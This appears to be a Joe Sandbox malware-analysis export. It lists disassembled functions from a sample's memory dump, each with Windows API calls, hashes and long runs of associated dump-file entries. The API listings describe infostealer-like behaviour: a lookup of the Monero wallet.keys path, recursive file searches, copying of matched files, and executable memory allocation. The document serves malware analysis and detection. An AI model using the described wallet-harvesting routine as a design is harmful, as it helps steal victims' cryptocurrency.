Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 319749ee141e20ce5f719e38107bde30d1df7522f077c78998de95ac2a7558c3
Instruction ID: f85db3fedc798c2ed2b71bd59466b731cd50645ba016929ba03622208517de1b
Opcode Fuzzy Hash: 319749ee141e20ce5f719e38107bde30d1df7522f077c78998de95ac2a7558c3
Instruction Fuzzy Hash: 4BF062B1A0460CEBC710CF94DC45FAAF7BCFB48614F000669F915A2280D7B559048BE1

Function 00D2B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

lstrlen.KERNEL32(00000000), ref: 00D2B9C2
lstrlen.KERNEL32(00000000), ref: 00D2B9D6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f5f8390d8192120ca602cb208f607498621c80694c14156f9b027f8336c6efcb
Instruction ID: 4ef63b1bc6b8d6c9c07cd32a2507d9f09c079765f8d74cd580aced27201fb8a2
Opcode Fuzzy Hash: f5f8390d8192120ca602cb208f607498621c80694c14156f9b027f8336c6efcb
Instruction Fuzzy Hash: 5AE1EE72A10118ABDB15FBA8DC96EEE7338EF54300F404169F54676091EF746A49CFB2

Function 00D2AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

lstrlen.KERNEL32(00000000), ref: 00D2B16A
lstrlen.KERNEL32(00000000), ref: 00D2B17E

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 9956def36f9b59c3923f29c8116b7e51f188238666905f4e01cb9478df0ed4af
Instruction ID: 8124844460f05c3cfd916ed46b1ed710b8bd5abbe09c2057f51389c0e61709af
Opcode Fuzzy Hash: 9956def36f9b59c3923f29c8116b7e51f188238666905f4e01cb9478df0ed4af
Instruction Fuzzy Hash: FC910D72A10118ABDB04EBA8DC96EEE7338EF54300F404169F557B6091EF746A49DFB2

Function 00D2B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D3A740: lstrcpy.KERNEL32(00D40E17,00000000), ref: 00D3A788

Part of subcall function 00D3A9B0: lstrlen.KERNEL32(?,0184A318,?,\Monero\wallet.keys,00D40E17), ref: 00D3A9C5
Part of subcall function 00D3A9B0: lstrcpy.KERNEL32(00000000), ref: 00D3AA04
Part of subcall function 00D3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D3AA12

Part of subcall function 00D3A920: lstrcpy.KERNEL32(00000000,?), ref: 00D3A972
Part of subcall function 00D3A920: lstrcat.KERNEL32(00000000), ref: 00D3A982

Part of subcall function 00D3A8A0: lstrcpy.KERNEL32(?,00D40E17), ref: 00D3A905

lstrlen.KERNEL32(00000000), ref: 00D2B42E
lstrlen.KERNEL32(00000000), ref: 00D2B442

Part of subcall function 00D3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D3A7E6

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: bc476f7784fd75ff14bd6f0ea670293e76e1e0d30b5fd068a48b764a5fe3b72a
Instruction ID: 1c30633a99364c8006bfd8dd86bd9034c0ecd9903cf96b667081e70d8096a403
Opcode Fuzzy Hash: bc476f7784fd75ff14bd6f0ea670293e76e1e0d30b5fd068a48b764a5fe3b72a
Instruction Fuzzy Hash: 5E711D72A10118ABDB04FBA8DC96EEE7338FF54300F404529F546A6191EF746A09DFB2

Function 00D34BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

lstrcat.KERNEL32(?,00000000), ref: 00D34BEA
lstrcat.KERNEL32(?,0184E028), ref: 00D34C08

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D3492C
Part of subcall function 00D34910: FindFirstFileA.KERNEL32(?,?), ref: 00D34943

Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FDC), ref: 00D34971
Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D40FE0), ref: 00D34987
Part of subcall function 00D34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D34B7D
Part of subcall function 00D34910: FindClose.KERNEL32(000000FF), ref: 00D34B92

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D349B0
Part of subcall function 00D34910: StrCmpCA.SHLWAPI(?,00D408D2), ref: 00D349C5
Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D349E2
Part of subcall function 00D34910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D34A1E
Part of subcall function 00D34910: lstrcat.KERNEL32(?,0184F018), ref: 00D34A4A
Part of subcall function 00D34910: lstrcat.KERNEL32(?,00D40FF8), ref: 00D34A5C
Part of subcall function 00D34910: lstrcat.KERNEL32(?,?), ref: 00D34A70
Part of subcall function 00D34910: lstrcat.KERNEL32(?,00D40FFC), ref: 00D34A82
Part of subcall function 00D34910: lstrcat.KERNEL32(?,?), ref: 00D34A96
Part of subcall function 00D34910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D34AAC
Part of subcall function 00D34910: DeleteFileA.KERNEL32(?), ref: 00D34B31

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D34A07

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 406cbcd3d3fc0a91948118e6125fd5c7d58a537f585a31b91de5329bc083a5c0
Instruction ID: e8b203f964c9319e39a7a673e6404eea341f5779e8f9f1867b2d5ac32ea05625
Opcode Fuzzy Hash: 406cbcd3d3fc0a91948118e6125fd5c7d58a537f585a31b91de5329bc083a5c0
Instruction Fuzzy Hash: C74157765001086BC754F764EC42EEE373DEB99700F008548B69566185EDB55B889FF2

Function 00D26660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00D26706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00D26753

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5617dd52109df6c0fdc028ce3140bdeadb4d6f7f1d18b34a4be2c77fe33cda01
Instruction ID: dbe195aa36a988ccf6ee3d54a4285cb6ef260679803f5fbe869c5e043b70f788
Opcode Fuzzy Hash: 5617dd52109df6c0fdc028ce3140bdeadb4d6f7f1d18b34a4be2c77fe33cda01
Instruction Fuzzy Hash: 0E410D74A00208EFCB44CF58D494BADBBB1FF54319F248299E8599B345C731EA81CF94

Function 00D35050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D38E0B

lstrcat.KERNEL32(?,00000000), ref: 00D3508A
lstrcat.KERNEL32(?,0184E9B0), ref: 00D350A8

Part of subcall function 00D34910: wsprintfA.USER32 ref: 00D3492C
Part of subcall function 00D34910: FindFirstFileA.KERNEL32(?,?), ref: 00D34943

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 37fbf9c2639571add2b836947aaa13dea5c5419363092f6b6d06785cd3d0be65
Instruction ID: 1ecbea778116198e2ef8ecaeae976a8e0c1d4355f36219430c18575bbc458db5
Opcode Fuzzy Hash: 37fbf9c2639571add2b836947aaa13dea5c5419363092f6b6d06785cd3d0be65
Instruction Fuzzy Hash: CD01887690020867C754FB70EC42EEE733CEB64300F004584F69997191EEB5AA889FB2

Function 00D210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00D210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00D210F7

Memory Dump Source

Source File: 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.2251308209.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000D7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000DDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251340111.0000000000EEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.00000000011DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251786955.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252089844.000000000121F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252199151.00000000013BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2252215963.00000000013BE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 6b3daaf23dbd17945a5f514afd93521e20dfdcefb245d97771c7ea60c162c299
Instruction ID: 57ae612bedc51cc26e074228cc49f4a0b790187da73437b6c33935e0cc2346b6
Opcode Fuzzy Hash: 6b3daaf23dbd17945a5f514afd93521e20dfdcefb245d97771c7ea60c162c299
Instruction Fuzzy Hash: 4EF0E271641318BBEB149AA4AD49FAAB7E8E705B15F305448F504E3280D572AE00EAB0

